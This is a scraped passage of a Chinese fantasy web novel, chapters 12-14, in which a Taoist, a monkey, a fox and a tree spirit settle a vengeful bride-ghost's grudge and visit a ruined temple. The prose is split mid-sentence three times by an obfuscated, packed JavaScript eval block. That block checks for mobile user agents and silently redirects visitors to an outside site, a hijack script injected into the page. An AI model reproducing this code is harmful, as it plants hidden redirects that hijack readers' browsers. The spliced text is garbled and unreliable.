轿子爆炸之后,晏良重新睁开眼,这次他紧紧握住了猴哥与白狐的手。 然而这次的幻境与之前相比可谓发生了天翻地覆的变化。 晏良还是马夫,白狐成了新娘,猴哥成了情人。 不知道为什么,情人·白狐是一个身材健壮的男人,猴哥却不管是在新郎还是情人状态下都是他本猴。 白狐一边擦去面上的脂粉,一边不甘心地道:“凭什么?” 猴哥蹲在窗台上,表示他对此也感到十分奇怪。 晏良摸着下巴沉思。马夫、情人、新郎……这些人与新娘关系匪浅,至于究竟发生了什么,猜是猜不出来的。 他抬头道:“白狐,你和猴哥私奔吧!” 白狐:“你开什么玩笑?” 猴哥:“私奔?” 晏良一本正经地开始解释。在不知道幻境的主人有什么目的的情况下,不如暂时顺着对方的意思来。 新娘与情人当年显然没有私奔,否则晏良不可能没有打听到这段故事。正常的时间里,新娘嫁入贾家,之后也许什么都没发生,也许发生了不曾有人知晓的故事。 所以只能私奔了! 晏良双目发光,迫不及待。 白狐:“你不要因为事不关己就说这种话,把你的符咒全部掏出来炸了这幻境岂不是更好?” 猴哥问:“要怎么做才算私奔?” 晏良说:“我是马夫,我带你们走,跟我来。” 一人一猴无视了白狐的叫嚷,扛着狐头新娘去行私奔之事,贴了隐身符一路畅通无阻,将白狐塞进车里,晏良驾车从后门离开。 “原来这就是私奔?”猴哥好像学到了什么,“和一只狐狸私奔,真是新奇的体验。” 白狐掀开帘子:“可以不体验这种事的。” 外面是平坦的大道,风景秀丽,鸟语花香,马车向前驶去,渐渐的,四周的景色渐渐淡去颜色,如洇染的水彩一般向后飘去。 此时不知是车动,还是景移,空气中再度响起来那低低的诉泣声。 “脂粉难掩泪痕,望尽春山不知恨,渺渺春水迎落花……” 那道声音愈发清晰,由尖利凄婉,到婉转莺啼,令人沉醉其中。 晏良扔了马鞭,抽出神棍,足尖轻点,跳下马车。几乎是同时,马夫的外表渐渐发生变化,落地时已是原本的模样。 神棍一甩,唱声戛然而止,洇染飘荡的色彩中落出一个红衣女鬼,雪肤血泪,乌发如墨,正惊慌地注视着手持神棍的晏良。 “你都被我重伤了,怎么还敢戏弄我们的?”晏良不解地问。 女鬼瑟瑟发抖,被怨怒遮盖的心终于冷静下来。晏良的外表与他本身的实力截然相反,就算一时被伤,早已失去理智的女鬼只想将所有人一起拉入自己的幻境之中。 晏良不是唯一一个不按剧本走的人,但他是最出乎意料的那个。 “来谈谈吧。”晏良微笑着说。 · 槐树松了口气。 看来晏良大部分时候还是很靠谱的。 随后槐树缓缓抬头,默默看着四周的景象。 猴子和狐狸与晏良同时行动,而他因为提前抽离故事角色……被单独困在了这个幻境之中。 槐树:…… 好丢脸。 · 在晏良的铁棍符咒威胁之下,女鬼改换容貌,以生前的形象显现在他们面前。 嫁衣如火,一点朱唇,眉清目秀,风姿动人。 她自称“环娘”,正是故事中的新娘子本人。 晏良没有忘记自己的正事,道:“你为什么要捉走贾大郎?” 环娘闻言情绪激动,又有一瞬显现出狰狞的鬼脸:“我不止要捉他?我还想扒他的皮拆他的骨!” 晏良叹气道:“别转移话题。” 环娘冷冷道:“他前世是我的丈夫,也是杀我的凶手。我要报复他。” 晏良道:“那些无辜的少年又是怎么回事?” 环娘恨声道:“他们才不无辜!前世就是他们乱嚼口舌!逼我去死!” 话已至此,往事已然明了。 环娘与借住在家中的远方亲戚暗生情愫,但父亲与镇上的贾家定了婚约,将他许配给贾家公子。大婚当日,心上人在窗边与环娘道别。 而嫁进贾家的日子并不好过,不知为何,她婚前有过心上人的事在镇上传开,心上人因此被父亲赶出家中,而她的丈夫也因为那些流言蜚语对她分外冷漠,并开始对她施加暴力。 环娘濒死之际,穿上当年的嫁衣,跳进了贾家引以为傲的水井中。 她字字含恨,血泪滴落,身上怨气翻涌。 在当年她跳井死后,贾家连夜搬迁,时隔数年,贾大郎重新投生至此,家境却一般,自小在外做工,难得回来探亲,被环娘抓住。 环娘笑意癫狂:“这是天赐良机——他上辈子欠了我的,这辈子就得将命赔给我!” “你没有想过,为什么会传出你与你心上人的事情?”白狐忽然开口,“也许是你的心上人为了报复你……” “住口!”环娘怒发冲冠,顷刻间现出鬼相,面容狰狞扭曲,“不许你这么说他!” 白狐冷漠得像另一只狐狸,道:“我只是提出了一个猜测。” “就算是猜也不行!” 环娘固执地说。 晏良不得不叫停,挡在一鬼一狐中间,算是明白为什么“情人”这个身份会如此健壮。 情人眼里出西施,数年经过,环娘对心上人的形象显然有一定的美化。 晏良对白狐道:“不用那么极端,你忘了另一个人——我。” 白狐一呆:“……什么意思?” 晏良改口:“我是指马夫。” 环娘神色放松下来,看向晏良,微微点头:“道长说得没错。” 马夫是泄密者。他泄密的理由环娘已经不在乎了,因为她在刚成为鬼的那些年里已经杀了心怀愧疚前来井边祭拜的马夫。 她投井自尽并不是什么光彩的事,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656054|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些年下来,已经不再有人提她的事情。 环娘被人遗忘,她心中的怨恨却从未消散。 环娘道:“我……一定要让他不得好死。” 晏良垂眸思考。 接连两次遇见与“前世今生”有关的纠葛,难免令晏良感到困惑。 环娘的仇人、贾大郎在投胎转世前应当经过了地府的各项程序,——据他的了解的知识,灵魂投胎前会有经审判后受刑涤洗罪孽这一关,即入十八层地狱。 前生犯下的罪在今生引来报复,晏良倒不是想说不可以,但他很好奇地府的运转方式。 一想到地府,就会想到猴哥,晏良转头看过去,发现猴哥正蹲在马车车顶手撑脸颊,一脸百无聊赖的神情。 猴哥对这一连串对话都不感兴趣,情啊爱啊对一只欲求长生的猴子来说不值一提。这时,他也注意到了晏良的视线,抬头看过去时,晏良弯起眼睛,对他笑了起来。 紧接着,晏良掏出纸笔,猴哥立刻意识到他要做的事,兴奋地凑了上来。 环娘迷惑又忌惮地看着这一幕,事到如今她已经发现自己的能力根本无法对晏良起作用,虽然表面上在和他们交谈,但在无人发现的地方已经做好了逃离的准备。 原本的恐吓反而让自己身处一种奇怪的状况之下,环娘不会傻到硬抗,趁晏良画废了两张符后重新落笔之际,环娘身化黑烟,向空中飘去,眼见黑烟颜色渐远渐淡,晏良伸手一抓。 黑烟与指尖相触时,顿时划为实体,被他牢牢抓在手里。 环娘一个踉跄,自空中跌落在地,嫁衣如蝴蝶翅膀般铺地,随后狼狈抬头,眼神怨恨地瞪向晏良。 晏良默默收回手,初次尝试的后果就是不确定会有什么后果,问题是他的成功概率是在是个谜。 白狐对环娘道:“死心吧,他打算召鬼差。” 环娘难以置信道:“鬼差?……你们究竟是什么人?” 白狐的回答牛头不对马嘴:“我可不是人。” 晏良挠头:“不……这次不一定能成功。” 猴哥失望道:“看来阎王不是轻易能召上来的。” 晏良想安慰猴哥,日后猴哥别说召唤阎王了,甚至能在阎王的案桌上打滚,转念一想,这意思听着就像“迟早会去见阎王”,于是作罢,一本正经道:“肯定是我练习的次数不够多,多练练总能召上来的。” 猴哥对晏良端正的态度很是受用,心想就算召唤不来阎王也无所谓,他伸手拍拍晏良的肩,没有说话。 白狐瞪着眼睛看他俩,提高音调道:“阎王?” “阎王。”晏良用肯定的语气重复。 环娘伏地,以袖掩面,深感不安。 但晏良目前的能力确实召不来阎王,画出的数张符咒不是无火自燃就是难以落笔,仿佛阎王不想搭理他似的。 所以晏良纠结片刻,只好换了鬼召唤。 熟人办事不用解释,只见一阵白烟升腾过后,白无常的身影再次显现。 晏良友好地打招呼:“白爷,好久不见。” “……” 白无常目光幽森。 12.寻仙问道(十二) ‖晋。江文学城独发‖ * 白无常的心情自不必说,他是个勾魂使者,没道理白白加班,但偏偏不能忽视晏良的召唤,现身时没摆出最森严狰狞的鬼相已经是他脾气好了。 即便如此,在那只猴子说之所以召唤出他是因为晏良试了数次都没能召唤出阎王之后,白无常绷不住了,合着他就是个退而求其次的选项? 上回他是上赶着,这次还更不如呢! 地府鬼差众多,怎么就逮着他一个薅? 生气归生气,白无常不动声色,晏良来历诡异,阎王叮嘱他们不要干涉或深究晏良的任何行为,他和诸位同事们也是这么想的。 ——但丫的架不住晏良想打扰他啊。 仔细认真地向白无常解释环娘的事情之后,晏良提出自己的疑问:“喝了孟婆汤不代表前尘往事会一笔勾销,是吗?” 白无常:“……你问我?” 晏良茫然:“是的。” 白无常:“……你不知道?” 晏良不解:“我没下过地府。” 白无常知道自己在问多余的问题,但晏良的话更加多余。 阎王可没说要如何应对晏良的求知欲啊…… 白无常想了想,开口道:“缘由天定,运在人为。贾大郎饮下孟婆汤后前尘尽忘,此事不假,但她执念难解,困守枯井,重遇贾大郎同样是一种缘分。” 晏良似懂非懂。 ——你忘了是你的事,但我没忘,所以你还得偿债。 大概是这么个道理。 白无常转眼打量一番四周的景象,白狐表情呆滞,环娘以袖遮面,从缝隙中向外看,周身黑气飘荡,而猴子—— 猴子正伸手拽他的舌头。 他拽了两下,没拽动,抽回手在白无常身上抹了抹,道:“黏糊糊的。” 白无常:…… 这谁能忍得了? 他冷哼一声,正要抬袖挥开这讨人嫌的猴子,晏良扑了过来,仰头诚恳地道:“我劝你最好不要这么做。” 白无常自动将其理解为“你对我的猴哥尊重点”,丝毫没有意识到晏良的善意,撇嘴道:“不是谁都像你一样把一只猴子当成宝。” 晏良:“……嗯。” 以后你将这只猴子供起来还来不及呢…… 猴子倒是一点都不生气,问道:“如果不喝孟婆汤岂不是和长生没有不同?” 白无常觉得这只猴子真是异想天开:“你当孟婆汤是不想喝就不喝……” 话说一半,白无常卡住了。 白狐和猴哥直勾勾地盯着他。 “你忘了晏世平。”猴哥提醒他,“你记性怎么这么差?” 白无常语塞,无话可说,恼羞成怒地瞪向晏良,眼里分明流露出“管管你家猴子和狐狸”的意思。 晏良其实也很好奇,犹豫片刻,问道:“所以为什么他没喝孟婆汤?难道地府发生了什么事情?” “活人莫问地府事。”白无常不想答。 晏良道:“为什么环娘当初没被接引走?” 一说到这回事,白无常的表情便更为阴森。 地府在人间有名有姓的拘魂使只有牛头马面、黑白无常,但除他们之外也有不少鬼吏,环娘当年着红衣投井身死,死后即化为厉鬼,怨气冲天,前来拘魂的鬼吏没能将她带走,时至今日,白无常不得不接手这个烂摊子。 地府鬼吏并非无所不能,就算按照程序将鬼魂带往幽冥界,鬼魂也不会立刻去森罗殿受判,或滞留于野鬼村,或在酆都城等待,也有不愿投胎留恋前世的鬼魂,每年总有鬼趁七月半鬼门大开或重阳节之际滞留人间。 地府的运转方式并没有那么严密无缝,凡人可以烧香供奉求功德,办事的鬼吏也会睁一只眼闭一只眼。 晏良悟了,不能深究,他以前没见过鬼,但看过的志怪异闻多不胜数啊。 白无常不想再谈这事,因为好像越谈越不对劲,遂转移对象,冷脸看向一旁的环娘,“你心愿已了,是该随我下地府了。” 晏良之所以和环娘耗了那么久,除了想知道真相,也是明白贾大郎性命无忧,然而此时白无常说环娘执念已解,他不由得看了过去。 他从知道环娘的仇恨后,便有一个疑问,于是道:“既然人死后都会去地府,你为什么不在地府等他?” “报复一个鬼有什么用?”环娘冷笑道,“他好好的活了一辈子,死后也许连我都名字都不记得,何其不公?要报复就要让他一辈子都受折磨,死后也不得安省——” 她做人时活得不如意,自然也不想让仇人活得如意,前世贾大郎逃往他乡,环娘索命无门,如今贾大郎重新投胎至此,何尝不是天赐的缘分? 管他前世今生,管他喝没喝孟婆汤,即使要入十八层地狱受刑她也不会后悔。 晏良眨了眨眼,任何事情扯上缘分后就变得神秘莫测难以解释,显而易见,不去深究逻辑是最好的选择。 或者说,“缘分”是独属于这个世界的逻辑。 尽管如此,他其实还有一件事不解,伸手指了指头顶:“我们还有一个同伴啊,为什么不放他出来?” 环娘似乎有点无语:“他不想被打扰。” 晏良点点头,白狐道:“那家伙偶尔就会这样,不惹他比较好。” 环娘朝晏良道别:“晏道长,我知道你有办法阻止我,多谢您愿意听我讲话……” 晏良苦笑道:“你不用谢我,我只是听了你的故事而已。” 环娘轻轻摇头:“你愿意听,我就很高兴了。说来也怪,虽然我是含恨而死,怨愤难解,但却比活着时痛快多了。” 晏良看了她一会儿,忽然上前,手里递出一朵红色的花。 “也许红色没有给你留下什么好的回忆……但红色很好看,比火更烈,比朝阳更炽热。”晏良道,“珍重。” 环娘怔愣之间,周身鬼气散去,露出生前的模样,捧着那朵小红花,眉眼温和,盈盈一笑:“您真是个奇怪的道长。” 白无常暗想,能不奇怪吗?他也没见过这么奇怪的道士。 他要带着环娘离开之际,晏良伸手道:“白爷,请代我向阎王问好。” 白无常:“……不代,有话自己说。” 眼见那只猴子摸摸脸颊要跟着说话,生怕再听到什么让人绷不住的言语,白无常手中哭丧棒一挥,烟雾升腾,遮盖住他与环娘的身影,待烟雾散去,原地已空无一鬼。 猴哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673760|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“他跑得真快,有谁在追他么?” 晏良握拳:“以后我争取让他想跑也不能跑。” 向猴哥学习! 白狐默默地听他俩的对话,心情复杂得难以言喻,抬起后肢挠了挠耳朵。 在环娘随白无常离开之后,幻境自动消失,他也变回原形,环顾四周,他们仍在井边,不远处躺着一名青年,而井沿正坐着槐木小人,面无表情地看着他们。 槐树一直在看他们,环娘显然对他一开始就脱离故事的行为不太满意,直到离去前都没放他出来。 所以让槐树疑惑的是,环娘的实力压根不足以构建如此强劲的幻境,晏良一句没问,不知道他是否有所发现…… 因为晏良的本事时强时弱的,槐树对他的信任度也是时高时低。 幻境中度过大半天,外界不过须臾,晏良去查看贾大郎,对方眼底青黑、憔悴又狼狈,仍旧处在噩梦之中。 环娘要他不得好活,也要他不得好死,晏良默了片刻,将人扛了起来。 一行人回去之后,贾大叔看到贾大郎的模样后心疼得直落泪,晏良微微叹气,征得大叔的同意后去灶房熬药。 槐树坐在晏良肩膀上,藏在发丝间,看晏良掏药材熬药,冷淡道:“你还说你不是烂好人。” 晏良还是那句话:“别这么说。” 缘由天定,事在人为。晏良已经悟出了属于他自己的道理,贾大郎前世结仇今生受苦,不冤,但他爹很冤。 槐树有些难以理解晏良的态度。 晏良不会试着解除环娘留下的诅咒,即使贾大郎喝了他熬的药,也只是短暂地缓解被困多日的病情罢了——是为了让一位父亲安心而为之的举动。 这也是一种“缘分”。 “……”槐树说,“好吧,你真是个复杂的人。” 他有点好奇晏良过去的经历了。 晏良对此不是很认同,他本人认为自己十分简单易懂,不是纯好人也不是大坏人,是个随缘随心的家伙。 他熬了一大锅药,天亮时分给镇中昏迷不醒的人家,中午时分,逐渐有人醒转。 晏良没打算久留,去镇上最受欢迎的酒楼点了几个菜,饱餐一顿,便打算离开。 白狐吃烤鸡吃得满嘴流油,觉得不如晏良的手艺。他知道晏良擅长烤鱼,做的烤鸡特别好吃。 晏良说:“熟能生巧嘛。” 白狐追问:“难道你以前天天烤鱼?” 晏良微微扬眉:“倒也没有,烤了很多年而已。” 听闻此言,槐树和猴哥悄悄溜到后厨,发现做菜的厨子年纪四十有余。 猴哥暗想,原来晏良比他年纪大这么多。 此时的猴哥浑然不知日后他还能对玉帝阎王称爷,觉得这便宜占得还挺划算。 饭后,槐树将自己对环娘实力的疑问提了出来。 晏良表示自己其实有所察觉,毕竟他最开始对环娘用的那张符咒没什么技术含量。环娘死了五十年,虽是厉鬼,实力却远没到令人难以招架的地步。 “你怎么不问她?”槐树不解。 晏良道:“恐怕她自己并不清楚。” 更何况,环娘已经决定跟白无常离开,晏良不想再多说。 13.寻仙问道(十三) ‖晋。江文学城独发‖ * 那口枯井中曾有着十分甘甜的井水,如今消失无踪。 众所周知,水是会流通的,镇中百姓用的水都是一种水,按照常理来说不可能出现这口井水甜,那口井水平平无奇的现象。 都是水,谁又比谁高贵? 然而这现象确实不科学地出现过。 当然,晏良没考虑过在这个世界讲科学,不讲科学只能讲玄学,其中必有蹊跷。 晏良遗憾地说:“但井干了也就没办法啦。” 白狐:“就这样……?” 晏良:“不管了,已经过去的事就没必要深究了,当前最重要的事情是去西牛贺洲找仙人啊——对不对,猴哥?” 前半句语调轻松极了,后半句则显得温和又亲热。 白狐百思不得其解,比起猴子肯定是狐狸更讨人喜欢吧? 要不然凡人写狐狸精魅惑人的话本做什么?不对劲的是晏良才对! 道士确实是个最便利的身份,晏良解决了镇上的怪事后镇民比之前更能接受他身边的猴、狐、槐树了。 就连晏良带他们进酒楼吃饭,掌柜的也是笑脸相迎,人人都觉得晏良是个有真本事的道士——至于长相年轻,不管是驻颜有术还是真实年纪,从哪方面看都只能印证晏良有能力。 这次尝试过后,晏良觉得之后就照着这个路子走,人类与他的三个非人类伙伴西行之路…… 等等,这不完全是西游记的不完全翻版吗? 想到这里,晏良莫名有点哽住。 猴哥一直没开口,看了晏良好一会儿,道:“你需要休息了。” 晏良茫然地眨了眨眼,从幻境中脱离后熟悉的疲惫感便如影随形,一夜熬药未眠,晏良此时面色惨白,唇色浅淡。 没有人能拒绝猴哥的关心,晏良当即站起身,遵循猴哥的建议,和他一起肩并肩去订房间。 “就住一晚,明天出发。”晏良如是说。 猴哥挂在他的胳膊上晃了晃,道:“你怎么比我还急?” 晏良说:“一寸光阴一寸金,我想和你一起找到仙人。” 猴哥觉得这话说得有些古怪,隐隐有种没多少日子好活的意思在里面。 晏良并非仙人,借尸还魂但病痛缠身,日夜修炼但难解病痛,能力独特但时灵时不灵…… 但只要找到仙人,求得长生,晏良的问题就能得到解决了。 晏良躺上床,盖上被子,猴哥蹲在床边替他掖好被角,抬眼看到晏良的眼睛亮晶晶的。 “猴哥!” “做什么?” “没什么,想喊你。” “赶紧睡。” 猴哥送了晏良一个脑瓜崩。晏良闭上眼睛,嘴角带笑。 * 晏良中午睡下,第二天清晨才醒来,时间长到他们分别在不同时间段去试了晏良的呼吸,若非胸膛有起伏,几乎以为他死了。 比起劳累之后的睡眠,那更像昏迷。 但晏良神清气爽,和猴哥一起满地乱窜,嘻嘻哈哈,叽叽喳喳,简直分不出谁是猴子谁是人。 晏良实在是个很开朗的人,白狐见过不少人,从没有见过像他一样一视同仁的家伙。世上没有借尸还魂的一定是人这种说法,白狐偶尔还疑心晏良前身不是人,而是什么妖精。 否则难以解释他对任何事情都坦然接受的性格。 西牛贺洲有仙人,坚持这一说法的只有晏良,槐树被困两百年,白狐只在南赡部洲溜达,对晏良的说法全都不置可否。仙凡有别,仙妖也有别,最近连着两次见到鬼差对他俩来说已经相当稀奇了。 白狐道:“拜什么仙人,你自己修炼不久行了?妖精只要修炼的好,不愁寿数。” 猴哥道:“我不是妖精。” 晏良在一旁点头。 花果山顶的补天石吸收日月精华,乃天生地养,集天地灵气于一身,确实不是妖精。 白狐不解,槐树虽然看不出门道,却也知道猴子确实不是妖精,即使是草木类妖精也有妖气,但猴子身上灵气逼人, “他确实不是妖精。”槐树观察已久,得出肯定的结论。 白狐还是不解,但连槐树都这么说了,他也懒得追究,而是道:“就算你不是妖精,仙人就算容你跟随修炼,但肯定还会将你当作灵宠坐骑,纵然活得久,却失了自由,一点都不痛快。” 猴哥对神仙妖鬼的事都不了解,就连寻仙访道的主意也是座下老猴提的,他在南赡部洲寻访两年之久,没有人提点教导,只知神仙。无数,一个都难遇。 “你怎么这么清楚?”猴哥纳闷道,“难不成你做过谁的坐骑?” 白狐无语:“才不会。我年纪比你大,耳闻所见比你多,这种事,活得久的妖怪都知道。” 槐树在一旁点头。鸟兽可做坐骑,草木便为灵器,当年那个道士走前还折了他一根树枝,说要拿去做法器。 猴哥甩甩脑袋,昂扬道:“我可不想做什么灵宠坐骑,我只要长生!” 白狐的脸上出现了相当人性化的表情,他觉得猴子的想法相当不切实际。 晏良忍不住伸手摸摸猴哥的脑袋,毛茸茸,相当好摸,于是伸出另一只手捧在手心摸来摸去。 猴哥抬头看了他一眼,晏良低头,笑眼弯弯。 白狐不忍直视。 临走之前,晏良去井边看了眼,掐指一算,若有所思。 槐树盘腿坐在他肩上,没有看到他的动作,道:“有什么不对么?” 晏良没有立刻回答他,抬头望了望天,很好,老天还是没回应,问天天不应,卜卦时灵时不灵,真是一个复杂的世界啊。 * 以人界为分界线,九霄之上为天界,九幽之下为冥界。 阴曹地府位于幽冥界,不见天日,阴森凄苦,环娘在人世间飘荡多年,与不少孤魂野鬼打过交道,对地府的情况有所耳闻,因此难免忍不住忐忑不安。 白无常虽然是被迫加班,心情不太愉快,却还是耐心地带着环娘去城隍庙消除阳间户籍,环娘身为厉鬼却不为恶,早在城隍爷那里挂了名。附近方圆百里,还无人要去报到,因此城隍庙中没什么鬼影。 城隍爷见到白无常带着环娘,确认自己确实没有收到通知后,不由得奇怪道:“怎么如此突然?” 白无常欲言又止,叹了口气,道:“还是之前那个奇怪的道士,他遇见此鬼,召我上来问询,她大仇得报,执念已解。” 城隍爷了然点头,手中现出户籍文书,看向略有不安的环娘,视线向下一落,便看到了她手中握住的红色花朵,微愣,却没立刻点明,而是重新确认环娘的生卒年,做好该做的工作后才开口说话,想借环娘的手中花一看。 环娘不解,小心翼翼地递出。 白无常道:“这朵花也是那个道士送的,大约是在袖里乾坤放着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699895|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然就掏出来了,可有什么不妥?” 晏良送出那朵红色的纸花时他就在一旁,确信那朵花并无不妥,但城隍爷修为深厚,见多识广,也许能看出的东西比他多。 城隍爷道:“并无什么不妥。” 他仔细端详片刻,将红花还给环娘,叮嘱她好好拿着。 环娘捧着这朵花,想起道长临别时说的话,心里泛起暖意,莫名觉得这是一朵很好的花。 去往地府的路引也在城隍庙领,环娘拿到路引,白无常送环娘去往鬼门关,身影消失。 城隍爷在他们离去之后仍在深思,他其实没从那朵花里看出什么具体的东西,但能察觉到其中满是祝福之意…… 而除此之外,那朵花相当精致好看。 城隍爷虽然没见过那位道士,但第一印象已经有了——一定是个心灵手巧的人。 · 在旅途休息的间隙,晏良在尝试叠小纸船。 《问天卦灵术》中有这样一门术法,对物品施加祝福或诅咒,媒介种类多种多样,叶子、木头、纸、石头、玉……因为一般来说是希望人能随时佩戴的物品,所以选玉的比较多。 晏良的空间倒是有不少宝物,但材质越硬,难度越高,而晏良目前的实力用纸最简单。 但他雕得了木人,剪得了纸花,纸船却怎么都叠不齐。倔犟劲儿一上来,拆了叠,叠了拆,一张纸皱巴巴得相当难看。 晏良若无其事地将纸收了起来,打算下回写符时用。转念一想,又摸出木块,继续之前雕木车的进度——毕竟只靠脚是很难走到西牛贺洲的,问天卦灵术中有附灵的术法,原理与点石成金、撒豆成兵类似,这才是这次休息时晏良一开始打算做的正事,结果做了一半打算叠纸船转换心情,却沉迷其中,莫名开始较劲。 “烦死了!” 再往一旁看去,猴哥身旁散落着好几个皱巴巴的半成品纸船,而因为一直不成功,抓耳挠腮,又急又恼,气得直跺脚。 猴哥摔了手里的纸,一抬眼,和晏良对上视线。 晏良立刻道:“没什么,我也叠不好。” 猴哥明显得到了安慰,捡起自认为叠得最好的一个船,转身打算得意地向狐狸炫耀,而白狐正默默地将所有纸船拆开——叠得太烂,还是物归原主吧。 而面对猴子的炫耀,白狐敷衍地应付:“我年纪大了,不爱玩叠纸,你高兴就好。” 这反应又让猴想跳脚了。 晏良觉得自己像个带孩子的幼儿园老师。 说起来,白狐一次都没提过自己的年纪,已知他年纪比槐树小,比猴哥大,大致估计来说也有百岁以上。 晏良问了出来,白狐甩甩耳朵,得意大笑:“终于想起来问了吗?你狐爷爷我有二百九十九岁!” 猴哥伸手拽狐狸毛,不爱听这称呼。 “你又是多大年纪?”白狐没有计较,而是抓住机会追问晏良。 坐在晏良肩上的槐树看向晏良。 “十八岁。”晏良胡扯。 “……怎么可能!” “被你发现了,好吧,三百四十二岁。” 白狐仰头,想从晏良的表情上看出他是不是又在胡扯,但晏良笑盈盈地和狐狸对视须臾,抬手将狐脑袋按了回去。 晏良有预感,自己以后恐怕会遇到不少妖怪,对面的年纪动辄百来岁,那他自己的年纪也得不落下风。 ——就让他们猜去吧。 14.寻仙问道(十四) ‖晋。江文学城独发‖ * 晏良的小木车雕了好几天都没雕成功,尽管有模有样,但他还是忍不住在细节上死磕——毕竟是要拿来做交通工具的,当然要做得好一点。 一行人不紧不慢地前进,期间晏良精益求精并重操旧业,开始算命。 算命的架势一摆出来,晏良做什么都显得合情合理了,以致于所有人都会在被猴哥与白狐短暂地惊吓过后,飞快地接受了他们会说话的事实。 这也变相成为晏良实力深厚的佐证。但事实上,晏良的实力不高也不低,反而时高时低,全靠每天抽空画的符咒撑着,晏良生怕哪天遇到大BOSS,叠纸刻木头之外没忘屯符咒。 他在画符上颇有天分是毋庸置疑的事实。 晏良不是很喜欢“被收服”的说法,每次都会不厌其烦地提前介绍或解释一句,但依旧无法更改大部分人的看法。毕竟在这个世界妖怪虽与人类共存,但仍在异类之列,妖精们也都藏身山野,昼伏夜出,不乏肆意为恶的妖精。 一个上午过去,晏良摆出“一卦五文”的旗子接了十二单,没挣多少钱,但赚的积分不少——不止顾客,围在一旁看热闹与他互动的路人也不少,收获的情绪积分也很多。 等众人散去,晏良愉快地收拾行囊继续上路,在算卦期间晏良也在和顾客路人们的交谈中收集了此处有关道观庙宇的信息,说再往前去有一座荒废已久的旧庙,甚至没有人记得那座庙供的是哪路神灵。 环娘的事件背后有一个不知身份的存在,贾家的甘甜井水是因为它,环娘构建的幻境也有它的助力,晏良无法算出它的的来历,只有模糊浅淡的气息飘散在它曾现身之地。 晏良不是个喜欢惹事的人,但很有求知欲,既然恰巧顺路,因此在征得猴哥的同意后,晏良没有耽搁,迅速赶往目的地。 断壁残垣,碎石遍地,杂草丛生,雀鸟在枝头啼鸣,衰败与复苏之感奇妙而和谐在同一个画面中共存。 晏良在倾斜的石柱旁站了片刻,望向庙宇深处,其间光线昏暗,尘埃在光柱中漂浮起舞,本该供奉神像的地方空无一物。他感受到的那股气息在这里最为浓郁。 尽管这里破败荒凉,但仍是某个存在的家,而此时此刻,主人并不在家。 面对着猴哥他们好奇询问的眼神,晏良正要开口说没人在家,忽地眼神一凛,看向他们来时的方向。 只见草丛间现出一道飘忽朦胧的身影,滴滴答答淌着水,从远处飘来,距离越近,那身影更显透明,而轮廓则似一道不成人形的泥团。 模样略显可怖,白狐面不改色,尾巴悄悄缠紧了晏良的脖子,那人影飘至近前时晏良正默默地将白狐的尾巴挪回原位,他出手很温柔,猴哥看不下去,眼见白狐又要将尾巴缠过去,猴哥干脆一把拽住了狐狸尾巴。 白狐:……疼啊! 那人影外表看起来阴森可怖,但一开口,声音却很柔和:“哎呀,真是稀客,是我怠慢诸位了,请随我进屋入座吧。” 她像是知道他们的身份和来意一般,身形径直从乱石草丛间穿过,而一踏入漏风漏光的屋中,四周的断壁残垣杂草藤蔓顷刻间消失无踪,楠木桌椅、香炉中散发出阵阵花香,萦绕整个房间,屏风上绣着巍峨青山、如丝带般蜿蜒飘渺的流水真实到仿佛要涌出屏风。 桌旁坐着一位黛眉碧眼的女子,衣带飘渺,气质傲然,笑意温柔:“我这里已经许久不曾有人来了,这幻境对你而言恐怕不值一提,只是寒舍简陋,还请见谅。” 晏良摇摇头,开门见山:“环娘那边有你的气息,你现在这是……?” 任谁看了都能知道对方的情况不是很好,不管是无法维持的人形,还是破败的庙宇,都彰显着一个事实。 她微笑起来:“我知道那边发生的事情,我很高兴她能得偿所愿,如你所想,那口井水之所以如此甘甜,是因为我。” 她曾经是一条小小的河流。很久很久以前,这一带百姓的饮食用水都来源于她,不知怎的,她作为一条河却诞生了灵识,虽然是主河的分支,意识却是独立存在的,她清楚地知道自己的身份。 某一年,当地遭受旱灾,百姓煎熬不已,她努力汲取天地灵气、吸取地下水源,充实自己,希望百姓们能够挺过灾荒,然而她的力量太过微弱,河水的水位每日肉眼看见的下降。终于,百姓们受邪道所惑,决定行人祭以祈雨。 人祭用的是活生生的孩童,她拼尽全力想要阻止,却没能改变任何事情。 没有旱灾之前,那小女孩时常在河边浣衣,唱着歌谣,对着河中的倒影微笑,她很喜欢她的笑脸,用浪花回应,以涛声鼓励。 小女孩转世之后,正是环娘前世仇人的姑母。 她对没能救下她心怀愧疚,想她转世后能有着相对轻松的生活,贾府的井水满是灵气,自然甘甜非常,独一无二。 